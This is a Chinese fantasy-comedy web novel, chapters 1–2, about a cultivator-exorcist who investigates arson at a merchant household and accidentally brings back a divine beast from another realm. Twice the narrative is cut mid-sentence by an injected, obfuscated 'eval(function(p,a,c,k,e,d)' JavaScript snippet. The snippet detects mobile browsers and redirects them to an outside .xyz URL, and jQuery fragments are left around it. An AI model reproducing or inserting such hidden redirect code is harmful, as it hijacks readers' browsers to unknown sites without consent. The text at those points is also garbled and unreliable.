《如何将万年死宅送回家》 1. 第 1 章 宋家又起火了,这已经是几个月来的第三起了,大半个江南城都在传着这事儿。 大家都说,怕是被什么不好的东西缠上了,除了隔三差五起火,他家的大儿子还病倒了,睡梦中天天说胡话,铺子里的生意也一天天差下去,家里的仆妇婢女也跑得一干二净,只几个忠心的还留着。 “没请人来做法事吗?” “自然是请了,前前后后来了好几拨,可丝毫不见成效,这不是前几日又起火了么。依我看,这邪门东西是缠紧他们家了,迟早得把这人家给整垮了。” “哎哎,我听说昨儿宋家又去请了个大师来,似乎有点来头,是什么螺旋门来的。” “哦,是天璇门!那还真是来头不小,天璇门是当今仙道七门之一,排的上号的名门!” “看来宋家虽遭逢邪火败落,但总归是家底丰厚啊,还能请来这等大人物,就不知……” - 宋季言缩起身子藏在厨房的灶膛里,被煤灰染黑的小手还紧紧抓着一个锡纸包的糕点。他往里缩了缩,咽了下口水。 他倒不是贪馋手中的糕点,而是紧张地吞咽,以至于整个人都止不住地发颤。 它又来了,那个声音,每次都有。 因为这个,他已经好久不敢来厨房偷刚出炉的糕点了。今天听说家里要来个大人物,准备了很多好吃的,这才抵不住诱惑跑出来,结果…… 那声音已经消失了好一会了,他仍不敢从灶膛里探出头来,但实在捱不过,心里回想了下之前家里作法时听来的各种诀,也不管对不对,全数念了一遍,这才战战兢兢探出半个头,还未等他放下心,一只手伸过来揪住他的领子,将他从灶膛里提了出来。 “啊,救命啊!天帝大老爷八方神将九幽冥君十天魔神家里的老道长快来救救我,我要被妖怪吃了哇啊……”宋季言顿时哭声如炸雷。 “老、老道长?你是说我?” 宋季言闻言哭喊一停,转头看去,只见一身着水蓝色道袍的少女正一手捂着耳朵,另一手正提着他的领子,乌黑的长发挽成双髻,两缕发尾垂在胸前,黛眉如远山着墨,妙目似绛珠凝神,琼鼻皓齿,明艳昳丽。 好像并不是妖怪。 宋季言这么想着,小短腿蹬了蹬,没够着地,这才想起来自己还被人提在半空中。 “喂,这位道姑!既然不是妖怪就赶快放我下去啦!”宋季言冲身后喊道。 “啊——?”少女掏了掏耳朵,随即宋季言感觉身体一轻,已被提到了少女眼前。 只见她微微眯起眼,仿若危险的凶兽:“这位小友,我从来没有说过我不是妖怪哦,给你个机会,允许你组织一下语言再开口。” 她就是妖怪!宋季言悲愤而又屈辱地想着,低头看了下离地的双脚,从善如流道:“仙子姐姐,我错了,求放过。” “好,乖——” 少女扬起嘴角,将宋季言放到地上,然后一脸嫌弃地舀水去洗手了。 这小破孩吱哇乱叫还蹭了她一手的煤灰。 这么不情不愿,刚刚倒是别抓着我不放啊。宋季言只敢在心里批判,屈辱地撇着嘴,突然想到什么,他抬头看向正舀水的少女:“你就是爹说的那个螺旋门来的祛邪大师?” “天璇门!是天璇门!这字很难嘛?我怎么就没见几个人念对过?” 少女气结,把手里的水瓢往缸里一扔。 “喂,小友。” 宋季言正悄无声息地往后挪动着步子,冷不防被叫住,心中直喊不妙。 “啊?” “这炉上的糕点是你父亲准备用来招待我的吧?” “是、是啊……” 少女一挑眉,笑道:“你是来偷吃的吧?” 被发现了!宋季言耸然一惊。 只见少女几步来到他面前,就在宋季言战战兢兢时,少女半蹲了下来,将那盘糕点递到了他面前。 “我是受你父亲所托,前来调查邪火案的除灵师,殷烬翎。”她正色道,“糕点给你,作为交换,把你知道的事,都告诉我可否?” - 宋家在富庶的江南城内也是位列前几的大商家,早年靠丝绸布匹发家,渐渐渗透到各个行业,如今已累积下数万家产,到这里已是第三代。 宋老爷膝下有三子,其中宋大公子行商颇有门道,宋家产业在他的操持下,大有蒸蒸日上之势,若不是这邪火之祸,绝不会败落至仆妇散尽,邻里俱无的现状。 要说这邪火,是从三个月前开始的。 最初的那一场火是发生在宅邸西侧近院墙处,一间堆放干草的小柴房无故起火,火势迅猛,即便邻近湖边,仍然救援不及,幸而离正宅住处较远,并未殃及。 第二场火距今两月左右,依旧是在湖边,一座闲置的空房起火,这一回火势并不如何猛烈,又靠近水源,很快就被扑熄了。 前后两场火使得近来操劳过度的宋大公子一病不起,流言也迅速蔓延开来,宋家请来许多道士法师作法祛邪,但宋大公子病情却未见起色。 随后第三场火降临,就在前几日,这回地点离湖边有些距离,却仍是堆积杂物的无人柴房,火势同第一次一般迅急凶猛,又无水源,救之不及,大火顷刻便将柴房舔舐得一干二净。 万般无奈之下,宋家花重金在仙盟发布了悬赏,请来了天璇门的除灵师祓除邪火。 倒是与宋老爷说的并无多少分别。殷烬翎心中思忖着,瞥了眼身边正大口吃糕点的宋季言。 “你是宋老爷的三子?” “唔,是啊。”宋季言嘴里嚼着点心,含混不清地道,“我叫宋季言,月初刚满十二岁。” “我听外边说,由于流言四起,宋家的仆人跑了不少,那这宅子里现今还有哪些人。” 宋季言皱着眉头道:“虽说是跑了大半,但还是剩了许多的,这我可说不明白,你等我去向刘管事问问啊。” 趁着宋季言去寻刘管事的空档,殷烬翎翻身上了屋顶,找了一处地方坐下来,从宽大袖袍里翻出一个罗盘状的物什,坐北朝南,右手捏了个诀指向罗盘,只见其上指针不断转动,最终停在某一处。 殷烬翎收起了罗盘,面色有些复杂。 见下方宋季言回来了,正在挥手呼喊,殷烬翎于是跃下房顶,走了过去。 “给,家中仆人的名册。”宋季言将一个小册子递给她,又好奇道,“跑到上面去做什么?” “我刚刚用阴阳罗盘,测了测方圆几里内妖物的气息。”殷烬翎神色认真严肃,“季言,你家根本没有妖物侵袭。” “啊?没、没有妖怪?”宋季言惊得张大了嘴。 “可以说,你父亲找错方向了,他不该找仙门,应该找衙门才对。”殷烬翎笑了笑,又道,“不过他也没找错人就是了。走了,带我去那几处起火地瞧一瞧。” “先去哪一处?”宋季言回了神,问道。 “最后一处,远离水源,火势迅猛,简直就像……非将其烧尽,绝不容人扑救一样。” - “就是这里。” 殷烬翎抬头一看,一间独立的小平房,不高,外面尽数焦黑,只剩个空壳子仍立在那里,可见彼时的火势之猛烈,不用看也知道里面原本堆放的东西定然被焚烧殆尽了,她绕着小柴房走了一圈,烧得最严重的是西北角,可见火是从此处开始的。 殷烬翎用手指触摸着焦黑的椽木,一边问:“季言,你知道这里原本堆放都是些什么吗?” 宋季言得意扬扬地掏出个本子,道:“我特意去向管家借来的,吃了你那些糕点自然要办事的。我找找啊,哦,这里堆放着一些废弃不用的布匹以及用于重建先前两处焚毁房屋的材料和工具,东西有点多啊,这么小的屋子居然塞的下。” “你家自从前两次失火后有严加戒备吗?” “当然有了,看管得可严了,那时候下人们还有很多,每天都有不少人到处巡逻的,这里烧着后救火的速度也较前两次快很多呢,但可惜,火实在太大了,还是……” 殷烬翎站起身来,眸光微动,一瞬不瞬地正盯着看了半晌,慢慢吐出一句:“这,就怪了。” 良久,她看了眼宋季言手里的本子,道:“储存粮油的仓库在何处?” “在……厨房后面。”宋季言突然畏缩了下,“你不会要去那里吧?我……我不敢去,你找别的人给你带路吧。” 殷烬翎失笑:“怎么了,我刚见到你时不是在厨房偷糕点吃嘛,现在又怕成这样。” “哎,我当时不都怕得躲进了灶底下了吗,跟你说,厨房后面那里经常有奇怪的声音,又刺耳又渗人,我已经很久没敢去偷吃点心了。”宋季言说起这事不由缩了下脖子。 “声音?是怎么样的声音?” “嗯……”宋季言回想着道,“有点像动物的爪子刨门的声音,很尖锐,嗯……也有可能是钉子,总之很吓人就对了,那里肯定藏着妖怪!” “那个,我说你为什么不往正常的方向想一想,比如说那是一只很可爱的小狗,被人收留偷偷养在那里什么的。”殷烬翎眨了眨眼。 “不会的,这里没人敢收留狗的,因为大哥很怕狗,家里也很多年没养过了。” “哦?”殷烬翎捕捉到了什么似的抬眉,“宋大公子很怕狗?那你有没有同他说过厨房后面的声音。” “当然说过了,为了我以后都能吃上糕点,自然不能放任不管,于是我去与大哥说。大哥已经接手家里还有铺子的事务了,而且怎么说,比起爹来肯定是大哥较为亲近些。哦,顺带的,我最初听到这声音是两个月前,那时候大哥还没病倒。” “那宋大公子反应如何?听了面色发白,赶紧找人来这里查看?” “不,恰恰相反。”宋季言表情古怪了起来,“他什么人也没叫,还再三嘱咐我,这声音不能告诉家里任何人,包括父亲,之后就把我赶走,自己一个人关在房里。” “你说两个月前,不正是第二场火发生那会嘛,那是火发生前还是发生后?” “我记得是着火后两三天的样子。”宋季言挠着头,突然眼睛亮了亮,“怎么了,有关联吗?” “嗯,搞不好宋大公子的病,不是因为家中祸事频发操劳过度。”殷烬翎说完一推宋季言,“好了,快带我去了,倘若真有什么妖怪作乱,我直接给它收了去。” 宋季言仍然畏首畏尾:“我……我怕妖怪,你还是找别人吧……” 殷烬翎笑眯眯摸了摸他的头,目露凶光:“乖,妖怪再可怕能有姐姐可怕?” - 向厨房的婢子要了钥匙后,殷烬翎打开了粮油仓的门,宋季言躲在她身后朝里偷眼瞧,这一瞧,二人都愣在了那里。 “粮呢?说好的粮油仓呢?这里明明只有油啊!你们平常都是喝油过活的?”殷烬翎忍不住吐槽了起来。 宋季言显然也没想到,呆了好久才愣愣道:“麻烦你把牌匾上的‘粮’字挖掉吧,谢谢。” 一眼望去,是一堆码得齐整的油桶,堆叠得几乎像个小山包,根本瞧不见半分米面干粮的影子——当然也没有妖怪出没。 不过显然宋季言一惊之下,早已忘了妖物与怪声那档子事儿了,他正张着嘴愣神。 殷烬翎走过去查看小山似的油桶。略略数了数,回身朝仍木鸡般的宋季言道:“你们该不是将整座宅子的油通通运到这儿了吧?” 宋季言回了神,一边翻着手里的本子,一边道:“这事我大约知道那么一点,前些日子刘管事说,各院均有储油不甚安稳,非常时期恐遭祸事,要将家中所有油均运至此处集中放置,并令人严加把守,所有的小灶全数停了,吃食全由大厨房负责。我知道应是有不少,可没想到居然……”他仰着头去瞧油山顶。 “这是哪一日的事?” 宋季言挠挠头回忆道:“就第三场火之前,一两天的样子吧……” “这样吧。”殷烬翎沉吟片刻道,“今日时候也不早了,你且回去吧。明日来找我时带个铲子来,我们明日还有些苦活要做。” “铲子?是要挖什么东西吗?”宋季言不由得好奇,“已经有什么眉目了吗?” 殷烬翎伸展了下手臂,懒懒地道:“稍微有一些想法,明日再同你细说,还得看能否挖出些什么,不过你回去后若旁人问起今日的事,谁也不要讲,明白吗?” “知道知道,我嘴严得很。”宋季言搓搓手,兴奋起来。 - 入夜的宋家宅邸显得异常幽寂肃静,许是因为邪火的流言,天色一暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626883|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便不再有人敢外出。 沉沉的夜色里偶有一两声鸟啼,却也似被夜幕压抑得透不过气般靡软无力,整座宅子缠绕在跗骨之蛆般的黑暗中。 再这么下去,没妖邪也会招惹过来,殷烬翎撇撇嘴,心道。 她正泡在热气氤氲的浴桶中,月季花瓣在蒸腃起的白色雾气里团团打转。十二盏烛火依次排列在屏风两侧,将屋内缀成与外头浓黑截然不同的明艳堂皇,画屏飞檐,雕棂玉阶,端的是纸醉金迷。 殷烬翎趴在浴桶边沿上,舒服得眯起了眼,长长叹了一口气。 山上那些同门,心里眼里只装着修行,哪会知道这行走人间的好处啊。呼,最喜欢这样懂礼数又出手阔绰的主雇了,简直是正穷困潦倒时的福音啊。 想到这里,她美滋滋地“啧啧”出声,闭着眼伸手去够旁边架子上的皂角。 正在这时,她的耳朵捕捉到了一丝声响,紧接着外面响起一阵骚动,像是许多嘈杂的人声在翻滚,她猛地睁眼朝外看去,浓墨般的夜色被一道奇诡的耀目黄光从中间拦腰斩开,四散的余芒不断攒动地落在窗棂上。 忽然一道尖利的声音穿透残破的夜幕,直直撞入她耳中:“走水了!” 第四场火。 她蓦地从浴桶中起身,迅速穿起里衣,一把扯落挂在架子上的外袍,边披边冲向屋外。外头已是一片混乱,光亮如白昼,院落之间,可见不少下人提着水桶焦急地奔向一处,时有盆盘倾覆声,夹杂沸沸人言之声传来,大约是厨房那附近。 殷烬领右手一提,从袖中唤出一柄小剑,倏而变为三尺青锋,她抬步而上,手捏剑诀,长剑载着她凌空而起,飞至高处向光芒大盛处望去,她心下一惊,眉头顿时拧成了一团,不敢再有丝毫耽搁,御剑急急朝彼处飞去。 摊上大事儿了,刚刚说没有妖物作乱就被啪啪打脸。她扯着嘴角苦笑。 这场火并非普通的起火,是有东西作祟,而且不是寻常妖物,不,确切地来说,它并不是妖物,也不带邪气,因此阴阳罗盘不会有感应。 火婴,是火气旺盛之地,由火中诞生出的火灵,生性顽劣,喜点火作乐。 殷烬领脑中飞速掠过火婴的相关记载:火婴一般只会出现在佛寺祭坛、大型陵墓之类长年火气不绝的场所,怎么会出现在这里?虽说宋家经历了多场大火,但要说诞出火婴来,实在有些荒诞。 但眼下显然不是思索这些的时候,这只火婴若不收服,大火恐怕没那么容易熄灭,反之,收服了这只火婴,大火自然也就熄了。 心念电转间,她已来到了起火处的上空。 只见厨房附近的一间屋子正燃着冲天火焰,火舌肆意舐着屋顶的圆木,叫嚣着向四周扩散。 她眼角一扫旁边那间白日里来过的堆满油桶的货仓,心下直呼不妙,忙抬手并拢二指,运转灵力在这之间竖起一道结界,暂时隔开了蔓延的火势,接着双手翻飞,一道剑光指直冲火焰正中心最凶悍之处电射而去。 只听得一声细响,随即传来一阵诡异的嬉笑声,伴着声响从火光中飞出一个通体晶莹的孩子,它全身流转着玉华般明润的淡黄色光芒,在空中急速飞窜,仿若陨落的星辰,肆意而怪谲的笑声忽远忽近。 不行,实在太快了。 她连射三道灵力凝成的仙索都被火婴笑闹着躲过,反而又借机散播了些许火星,使得下面救火的人愈加手忙脚乱。 她气得直咬牙,要是能杀这小东西不知死了几回了,偏生它不是邪物,属于天地灵物的范畴,灵物修行不易,贸然打杀会有损仙德,所以她只能用仙索捆,可根本赶不上它的速度,这样下去没完没了。 她想了想,将三条仙索伸展开,在半空形成三方包绕之势,火婴似有些畏惧,嬉笑之声消失了,倏地一闪,直直冲她所在方向冲来,来势凶猛。 就是现在! 她心中一凛,瞬间将先前早已结好的结界释放,将自身与火婴一齐围在一方五丈的天地间,火婴一头撞上结界壁,跌落下来,终于慢了下来,正落在她身旁几尺。 殷烬翎心中大喜,结出一枚封住灵力的印便往火婴额头上按去,然而,还未等她展开一个得意的笑,嘴角便凝固在那里。 只见半空中一道裂缝悄然出现,扑面而来的陌生气息透着令人心惊的危险意味。 一股巨大的吸力自她身前打开的裂缝中而来,像要将她撕碎一般,在这亘古蛮荒般强横的裂缝面前,她的挣扎如同螳臂挡车一样徒劳无力,不过坚持了几息,就精疲力竭地被纳入裂缝中,消失在了上空。 - 啊,好香啊。 她睁不开眼,鼻端却飘来一丝清香。她用力揉了揉眼,费力地睁开,眼前一片白光散去,她重新看到了事物。 首先映入眼帘的,是天空中那轮血色的圆月,她坐起来,打量了下周围,绿草如茵,繁花似锦,佳木葱茏。 她眨了眨眼,突然有点怀疑人生。 这里是哪里?我是谁? 空中蓦地窜过一个黄影。 啊,刚刚飞过那个黄点又是什么?等等…… 她瞬间一个鲤鱼打挺腾身跃起。 什么鬼!那个火婴为什么还在蹦跶? 她取出长剑就踩上去,剑身嗡嗡作响,缓慢上升了一点后突然失力掉在地上,连带剑身上的殷烬翎也摔了个跟头。 这鬼地方居然连御剑也御不了? 她来不及抱怨,收起剑就追了上去。 火婴先前被她打败过一次,灵力消耗了不少,速度也慢了下来,远远看到它不知被什么挡住,停了下来。 大好的机会啊! 她使出全身灵力,足下生风,如离弦的箭矢一般飞冲而至,似乎一头撞上了什么东西,她也无暇顾及,左手一把扶住那事物,稳住身形,右手探出,一道封印直直按上了火婴额头。 刹那间,裂缝再次现世,强烈的吸力要将她和火婴再度吞进去。 被吞入的前一瞬,她不由寻思:对了,刚刚撞上的是什么东西来着…… 她抬头看向面前,却不料对上一双晶亮而幽黑的眼眸,她愣愣地,垂眼看了看自己抓着对方肩膀的手。 坏了,出大事了! 她脑中一片空白,只剩下这几个字不断滚动。 2. 第 2 章 “殷姑娘,宋某听人说姑娘突然消失了,不放心……” “没事没事!” “可好多人都说看到姑娘在跟妖邪打斗……” “没事,都处理好了。” “姑娘脸色不是很好,要不要请人……” “没事,真没事,夜很深了,宋老爷快回去歇着吧!” 殷烬翎关上门,绕过精致的画屏和雕花的楠木梁柱,苦着脸看着理所当然地霸占了她床铺的少年。 没事……个鬼啊! 少年一双黑眸明亮而又幽邃,面庞如白玉雕琢,乌黑长发用木簪挽起一个松散肆意的马尾——如果簪子没有断成两截的话还能再赏心悦目一些。 雪白的广袖宽袍闲散地披在身上,袖口的流云纹在月色下泛着细碎的光,显得慵懒和洒脱——如果那个该死的火婴没有钻进去大概还能再洒脱点。 等等,火婴?! 殷烬翎忙不迭上前,扯住对方袖子将火婴抓了出来,又加了道封印上去。 然而稍一抬眼,就尴尬地与少年对上了视线,她将彻底动弹不得的火婴丢在一旁,颓然地在床铺旁的地上坐下来。 少年乌黑的瞳仁动了动,看向她,声音清亮:“姓名。” “殷梨,字烬翎。” “年龄?” “二百二十二。” 少年挑了挑眉:“以前只道姓名能反映一个人,没想到年龄也能。” 殷烬翎放在腿上的手“喀啦”响了一声。 少年置若罔闻:“种族、籍贯?” “人族,仙界清霄山天璇门。” 少年歪着头看了看她:“当真是人族?我怎么觉得你应该是鸟族才对,闯进别人家里乱飞乱撞。” 殷烬翎的手又“喀啦”一声响。 少年毫不在意地继续问:“职业,现居地,资产?” “修行者兼除灵师,无居所,资产……你问资产作什么?” 事关钱财,殷烬翎警觉起来。 “别那么警惕地看着我,”少年笑道,“我只是想知道倒这么一趟霉能有多少赔偿而已。” 殷烬翎站起来,居高临下气势汹汹地盯着少年:“哈哈哈,真是遗憾,我现在身无分文!” 少年抬头,怡然不惧地对上殷烬翎凶狠的目光,带着让人不快的笑。 “你说你是除灵师,身无分文,却又在摆设如此好的屋子里,说明你当前正在接受一个富贵人家的委托,想必完成任务后就会得到一大笔酬金的,我也不要很多,就把这笔酬金赔给我吧。” 殷烬翎额上的青筋跳了跳:“我告诉你,想打我酬金的主意,门都没有!” “好啊。”少年摊开四肢躺到床上,“那你把我送回家去,现在、立刻、马上。” 殷烬翎一时语塞,但气势不能输,杏目圆睁道:“别闹,我要能把你送回去早送走了,犯得着留着你来敲诈我嘛!” 前两次撕开裂缝都是封灵印按在火婴额头上,因此少年被一道错吸过来以后,殷烬翎曾想依照着再度打开裂缝,但无论怎么尝试,那条裂缝再没能出现。 少年翻向里侧背对殷烬翎:“我不管,你把我带过来的就得负责把我原样送回去。” 殷烬翎顿时一个头两个大,努力岔开话题:“那你总得告诉我你姓什名谁,年方几何,是何种族,从事什么,家住何处,家中有几口人,有没有房贷啊什么的。” “叶述,字南扶。至于年纪……” 叶南扶侧过身偷眼瞧了下殷烬翎:“比你大一点。” “大一点是多少岁?”殷烬翎下意识追问道。 叶南扶伸出两根手指。 “两百岁?两千岁?” 叶南扶状似羞怯地低下头:“其实……也就两万多岁。” “哇!”殷烬翎惊呼,“没想到你看着像个鲜嫩少年,内里居然是个半截入土的老登!” “谁半截入土了?谁老登了?给我说清楚!”叶南扶顿时从榻上跳起来,“我们化形后的样子是与寿元相关的,我人形是少年模样,就证明我这个年纪,相对于自身寿元来说还是个少年!” 殷烬翎眨巴着眼,斜斜地瞧着他急切解释的样子,目光揶揄。 “喂,你那是什么眼神啊?别一副像见了什么没羞没臊变身成美少年的老变态的表情好么!”叶南扶坐下来道,“我属上古神兽乘黄一族,就是传说中能与天同寿,乘之者可增寿二千岁的……喂,你给我下来,不是这么骑的!” 殷烬翎被翻了下来,不甘心地撇撇嘴,心里想着下次趁他不注意再骑到他背上试试,毕竟可以多两千岁寿元啊,看着叶南扶的目光不由炽热了些。 叶南扶被看得如芒在背,咳了一声,道:“不是随便就能骑的,也不是骑了就算数的。” “不是这样骑,那是要怎么‘骑’?”殷烬翎意有所指地问道。 “喂,我怎么觉得你仿佛在想一些不好的东西。”叶南扶提了提手中乱蹬腿的火婴,“我们这里可是还有小孩子在哦,有点成年人的自觉好不好。” “我不是,我没有,你误会了。”殷烬翎正襟危坐,一脸乖巧。 “话说回来,你要怎么把我送回无生界去?”叶南扶靠在床榻上翘起二郎腿。 “无……无生界?”殷烬翎惊得险些咬了舌头,“那不是传说中的地方嘛?我只在画本子里见过。” 传说上古时代,世间有六界,神魔仙妖人冥,后来不知什么原因,创世神将神魔二界与其余四界隔开了。 两边天地法则不同,仙妖人冥四界中,人与妖可修道为仙,死后皆归冥界,转生轮回,故名为往生界;而神魔二界没有轮回,生命力耗尽便消散在天地间,称作寂灭,故名为无生界。 自分隔后,两边再无任何交集,因此对于往生界的人来说,无生界是只存在于画本中的设定。 意思是,自己刚刚被那道古怪的裂缝吸到无生界去了,还一把抓了个无生界的倒霉蛋回来?这特么跟去了趟二次元,抓了个纸片人出来有什么区别? 她狐疑的目光投向叶南扶:“你当真来自无生界?你不会是故意说个去不了的地方来刁难我,好多讹点钱吧?” “你不是说自己身无分文么,那横竖也只拿得出这笔酬金,何来多讹钱之说?”叶南扶挑了挑眉,“莫非你还有……” “没有没有,真没有钱。”殷烬翎连连摆手,赶忙再度岔开话题,“你这要我送你回无生界,跟去画本子里有什么区别,两界壁垒可比次元壁还厚啊!” “那就赔钱啊。”叶南扶毫不客气地往后一躺,理直气壮道,“总之,在拿到你的酬金前我是不会走的。” 殷烬翎额头青筋跳了又跳。 打我血汗钱的主意,想都不要想! 她揉了揉太阳穴,用力维持平和的语气:“那你知道如何回无生界嘛?” 叶南扶却难得沉默了,神色也沉寂下来,如同水中寥落的月色,漆黑的眼眸中倒映着窗外清冷的残月余晖。 良久,他才开口道:“不知。” 他沉默不语,殷烬翎也乐的不打扰,她便倚在旁边的矮几上,以手支撑着头,侧着瞧向叶南扶,他的眉目属清俊贵气而又温润的类型,甚是养眼。 殷烬翎不由多瞧了几下。 不得不说,这家伙长得还不赖,倒是十分贴合我的审美,如果他没有想敲诈我的酬金的话。 想到酬金,她顿时觉得面前的少年面目可憎了起来。 哼,差点被外表所欺骗!殷梨啊殷梨,你怎么能三观跟着五官跑呢?三观要一致向钱才行! 她偏过头不再看。 想到明日还有一大堆活要干,本想着今儿好好休息,没想到前有火婴耗伤她体力,后有讨债鬼摧残她精神,而且看样子这床铺怕是要不回来了。 算了算了,先前没钱住客栈时,山洞树梢都睡过,如今打个地铺而已,没必要为此与他纠缠。 唉,人怎么能这么倒霉啊…… 殷烬翎迷迷糊糊想着,靠着矮几睡了过去,睡梦中发出一声长叹。 沉浸在思绪里的叶南扶被这声长叹拉回了现实,他皱皱眉头,甩开这些繁琐的念头,看向殷烬翎,这才发觉她已经睡着了。 叶南扶托着腮,盯着睡得人事不知的殷烬翎瞧了半晌,低头看了看床榻,在搬与不搬之间纠结了半天,最后选择吹灭了烛火,躺下不管了。 叶南扶翻了个身。 又翻了个身。 坐起来,借着月光打量地上睡得直流口水的殷烬翎,拧了拧眉头,又躺了下来。 许久许久,他蹬了蹬被子,又向里翻过身,不再看她。 又许久许久,他在床上滚了两滚,裹住被子,半晌,叹了口气。 唉…… - 翌日清晨,殷烬翎从靠着矮几上转醒过来,扫了眼床上,叶南扶不知何时起的,早已没了人影,一床被子拧成麻花状团在榻上一角落里,靠着被子团的是正熟睡的火婴。 虽然中了封灵印的火婴只是个毫无灵力的寻常小孩儿,但殷烬翎想到昨晚的大火,仍是谨慎地在屋子周围布下了结界,这才前往与宋季言约好的地点。 宋季言手里拄着两个大铲子,早已等在那里,经历昨晚的一番折腾,不单是殷烬翎,宋季言显然也没睡好,精神有些萎靡,倚着墙角一副惫懒的模样,但一看到殷烬翎就来了精神,大老远地朝她挥手,兴奋地就差跳起来。 “姐姐姐姐!听说你昨晚和妖怪打了一架?快跟我说说!” 瞧这小破孩,昨儿还一口一个螺旋门的老道姑,今日立马改口了,叫得可够甜的,看来有实力的人总是很容易让人心悦诚服啊。 殷烬翎笑得眯起了眼,脚下步伐也不由得轻快了许多,昨日的晦气也仿佛烟消云散了。 “那妖怪长什么样?听说浑身冒火、面目狰狞,身壮如牛,还背生双翼,在空中飞掠过就能平地卷起七层狂风、九丈巨澜,甚是骇人,你是怎么降伏的?” 殷烬翎听了,面不红心不跳地接受了,还故作深沉地挑挑眉:“这事说来话长……” “嗯哼。” 背后传来一声清咳,打断了殷烬翎即将进行的胡扯海吹,她立马闭上嘴,心虚地不敢回头看。 “那个……”殷烬翎僵着脖子不敢转过头,“你一大早去做什么了?” “也没什么,既然还得在这宅子里待上一段时日,总得去跟主人打个招呼,不请自来终是不太好。”叶南扶双手抱胸,偏着头望天,“我可不像某些人一样,不请自来还在别人家里乱飞。” 殷烬翎额角又跳了跳,装作没听到后面半句话,问道:“你去见宋老爷了?怎么同他说的?” 叶南扶突然笑了下,笑声听在殷烬翎耳朵里满是不怀好意:“我与宋家老爷说,我是你仙道同门,你欠了我一大笔钱,一时还不了,就推说用这趟除灵的酬金偿还,所以这事完了酬金直接付给我就好。” 殷烬翎听到最后一句,顿时暴跳如雷,转过身就要怒怼,冷不防瞥见他的样子,顿时胸中积聚的怒气变成一声轻微的“噗”从她口中散去了。 叶南扶听见这声音却黑了半张脸。 “你眼睛下面两圈黑黑的是什么?莫非你突然发觉了仙法的博大精深,昨儿修了一整夜的仙?”殷烬翎憋着笑出言嘲讽。 “还不都是你害的。”叶南扶从牙缝里挤出一句。 殷烬翎摸摸鼻子,自知理亏地住了嘴,想想要是没有她阴差阳错带了叶南扶过来,他定还舒服地躺在家里埋头大睡。 叶南扶见她与宋季言人手一只铲子,道:“我从宋家老爷那儿听说了事情经过,看你们的样子像是知道了些什么?” “嗯,这事儿暂时还没人知晓。”殷烬翎回身,朝站在原地不明所以的宋季言道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626884|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了,季言,再领我去昨日去过那第三场火的起火地。” 三人一同向第三场火的小柴房走去,宋季言在前面带路,不时回头偷眼瞧着突然不知从哪儿冒出来的叶南扶。叶南扶早发现了,只是懒得同个孩子再解释一遍自己的来历,倒是一旁殷烬翎见了插了句:“这人是来敲诈姐姐的血汗钱的。” 宋季言看向叶南扶的目光顿时钦佩了几分,连这厉害的仙家的钱都能敲诈去,是位勇猛的壮士。 叶南扶挑了挑眉,一夜未眠也没那精力与殷烬翎耍贫嘴。 不过片刻便到了,殷烬翎小心地打开了烧得焦黑看不出形状的门,小柴房虽只剩了个空壳子,好在当初建造得十分坚固,饶是这样也毫无垮塌下来的迹象。 殷烬翎用手扇走些掉下来的灰烬,进里面一看,留着大片焦痕的石块与沙土堆叠着,房顶与墙面中木质的构造烧作了灰,并着些烧剩下的碎布片残渣、沙石在地上铺了厚厚的一层,鞋底踩在上面松垮地向下凹陷,走动时带动的风更是让灰烬飞扬着充满了并不宽阔的空间。 她偏头捂了口鼻,四面皆走了一遍,寻了处地儿拿起铲子挖了起来,边回头冲屋外两人道:“你们谁帮我挖一下中间那里?” 宋季言先前便拿着另一把铲子,闻言便捏着鼻子进来,照殷烬翎所言之地挖起来,倒是叶南扶老神在在地站在那儿,半点来协助的意思都不见。 居然心安理得地看着一个小孩子干活,真是混蛋。 殷烬翎腹诽一句。不过宋家这事本就与叶南扶毫无瓜葛,不相助虽不仗义,倒也无可厚非,便没有出声。 挖了半晌,她慢慢皱起眉来。 预想中的那样东西,一直没有出现。 她丢下铲子,跑去宋季言那里询问,得知他也一无所获,殷烬翎蹙起眉头默不作声。 难道……是她想岔了? 正当她站起来打算重新审视这间小屋之时,外头传来叶南扶慵懒的声音。 “小麻雀,你瞧那块石头上是什么。” 殷烬翎闻言一愣,也不管叶南扶对她那奇怪的称呼,三步并作两步来到叶南扶遥遥指向的石块前。 只见这石块潜在沙石堆的中间,其上有大片焦痕,但这不是重点,重点在于相对较平整的石面上有三道排列整齐的划痕,像是被金铁之物刮擦过的痕迹,她的目光被划痕吸引了,接着她倏地抬起头来,望向高耸的沙石堆,腾身跃起来到石堆上方,翻找片刻后突然一喜,找到了! 眼见着殷烬翎小心地拿着一段长约七寸的细长铁条,从沙石堆上轻飘飘地下来,宋季言忙上前问道:“这是什么?” 殷烬翎并未立即作答,而是将目光投向屋外一脸悠闲的叶南扶:“你怎么知道我要寻的是何物?” 适才这人分明是在提醒她,难道他是察觉了这处石块上的痕迹,所以才不来帮忙挖掘? 叶南扶换了个舒服的姿势,靠着一处石块看着她,道:“先前去见宋老爷时,他与我说过事情的前因后果,我虽不知昨日你们都查探了些什么,但你今日到此处,半天都不曾拿出罗盘法器之物,想必是知晓这处起火并非妖邪作怪,而是人为。” 殷烬翎仔细听着,面色沉凝。 